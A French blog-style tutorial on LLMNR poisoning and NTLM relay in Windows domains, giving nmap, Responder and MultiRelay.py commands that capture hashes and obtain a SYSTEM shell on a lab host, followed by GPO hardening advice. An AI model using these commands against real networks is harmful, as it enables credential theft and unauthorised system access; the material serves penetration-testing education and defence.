Petit billet sur le hacking du protocol LLMNR souvent ignoré et pourtant tellement bavard, Enjoy. (Technique fonctionnant uniquement en contexte de domaine)

Le LLMNR (Link-Local Multicast Name Resolution) a été utilisé la première fois avec Windows Vista, il est l'évolution de NetBIOS-NS. Lorsque la résolution DNS échoue il demande à toutes les autres machines de son réseau (broadcast) la bonne adresse.

On pourrait se dire qu'il s'agit uniquement d'un protocol de résolution ? Hors il transporte également des informations d'authentification

LLMNR et WPAD

Le protocole WPAD permet de localiser le fichier PAC (Le fichier PAC définit les serveurs proxy qu'un navigateur doit utiliser pour différentes URL). WPAD fonctionne en tentant de résoudre le hostname "wpad", Si le navigateur est configuré pour utilisé les paramètres proxy du système automatiquement, le LLMNR sera appelé lorsque vous ouvrirez votre navigateur internet

LLMNR & SMB

Lorsque vous tentez d'accéder un partage, windows envoi votre login avec lequel vous êtes connecté (username + hash NTLM) vers le serveur, si le compte n'est pas connu du serveur vous aurez une erreur vous demandant de renseigner le bon login.

Imaginons qu'un utilisateur ouvre son navigateur pour naviguer sur internet ou qu'il veuille se connecter à un partage et qu'il fasse une faute dans le nom du serveur? l'hôte n'étant pas connu de l'hôte ni du DNS une requête LLMNR sera envoyée sur le réseau.

Imaginons également qu'un attaquant à ce même moment écoute le réseau, répond au LLMNR, récupère la requêtes smb, envoie une erreur d'authentification au client, et rejoue la requête vers le serveur ?

Heureusement Microsoft a pensé à sécuriser cela grâce à la signature SMB qui vérifie la vrai origine de la demande. Oh ... Wait ! on me dit que par défaut la vérification de la signature SMB n'est pas activé ! (Sauf sur un serveur Active Directory)

L'exploitation

Reconnaissance d'hôte vulnérable

Donc pour que cela fonctionne il faut au minimum que la cible auquel nous voulont accéder ne vérifie pas la signature SMB, Un script nmap existe pour cela.

nmap -p 137,139,445 --script smb-security-mode 192.168.1.0/24

192.168.1.25 WIN2016APP

PORT STATE SERVICE
137/tcp closed netbios-ns
139/tcp open netbios-ssn
445/tcp open microsoft-ds
MAC Address: 08:00:27:65:05:DE (Oracle VirtualBox virtual NIC)
Host script results:
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)

192.168.1.27 AD2016

PORT    STATE    SERVICE
137/tcp filtered netbios-ns
139/tcp open     netbios-ssn
445/tcp open     microsoft-ds
MAC Address: 00:0C:29:92:69:2F (VMware)

Host script results:
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required

Visiblement le poste Win7Test ne vérifie pas la signature, il sera donc possible de lui transmettre  un hash d'utilisateur ayant accès aux partages SMB du poste (Dans l'exemple ce sera un compte administrateur du domaine)

Capture du hash NTLM via llmnr

Le hash NTLMv2 est utilisé pour l'authentification et peut être relayé ou bruteforcé seulement. Seul le hash NT peut-être utilisé dans une attaque pass-the-hash (Il est dumpable dans le processus lsass.exe)

Pour automatiser la capture :

Responder

Écoute sur un port attendant une requête llmnr, lorsqu'il la reçoit il intercepte la requête et y répond indiquant qu'il est le serveur demandé et proposera les challenges d'authentification pour y récupérer le hash.

Il se complète avec Multirelay.py qui renverra la requête à la cible désirée pour accéder à ses partages.

Utilisation :

#Modifier le fichier de conf de repsonder (Off le SMB et HTTP)

vi /etc/respondeR/Responder.conf

; Servers to start
SQL = On
SMB = Off
Kerberos = On
FTP = On
POP = On
SMTP = On
IMAP = On
HTTP = Off
HTTPS = On
DNS = On
LDAP = On

#lancez Responder

responder -I eth0 -wrf

Mais ce n'est pas finit si nous voulons utiliser ce hash pour nous connecter sur tout le poste vulnerable (192.168.1.25) il faut utiliser l'outil

python /usr/share/responder/tools/MultiRelay.py -u ALL -t 192.168.1.25

Lorsqu'un ordinateur du domaine essaye de se connecter à un partage sur un mauvais nom, c'est la que llmnr entre en jeu .. (Capture de responder)

Le hash utilisateur et en plus il s'agit de l'administrateur du domaine (quelle chance) Si l'on regarde Multirelai

P0wned ... L'avantage de ces outils c'est qu'ils ne permettent pas seulement d'accéder aux partages mais aussi au système via un shell en AuthoriteNT (Nous sommes connecté sur le port 445 de la victime)

Imaginons en contexte entreprise que des outils de scan, d'inventaire utilisant une authentification AD tenterai d'accéder à une machine n'existant plus ou non connecté sur le domaine ? LLMNR entre en jeu et la suite vous la connaissez désormais ..

Contre Mesure et Hardening

Désactiver Netbios & LLMNR

  • Sur chaque poste depuis la configuration de carte réseau
  • En GPO domaine

Ordinateur -> Modèle d'administration -> Réseau -> Client DNS -> Desactiver llmnr

Forcer la communication SMB signé (toujours)
Désactiver la négociation (le client ne négocie pas la signature)

  • En GPO Domaine

Ordinateur -> Paramètres Windows -> Paramètres de sécurité -> stratégie locales -> Options de sécurité -> Client réseau microsoft (signé toujours numériquement) Activer

Ordinateur -> Paramètres Windows -> Paramètres de sécurité -> stratégie locales -> Options de sécurité -> Client réseau microsoft (Lorsque le serveur l'accepte) Désactiver

  • En GPO Local

Paramètres sécurité -> stratégie locales -> Options de sécurité -> Client réseau microsoft (signé toujours numériquement) Activé

Paramètres sécurité -> stratégie locales -> Options de sécurité -> Client réseau microsoft (Lorsque serveur accepte) Désactivé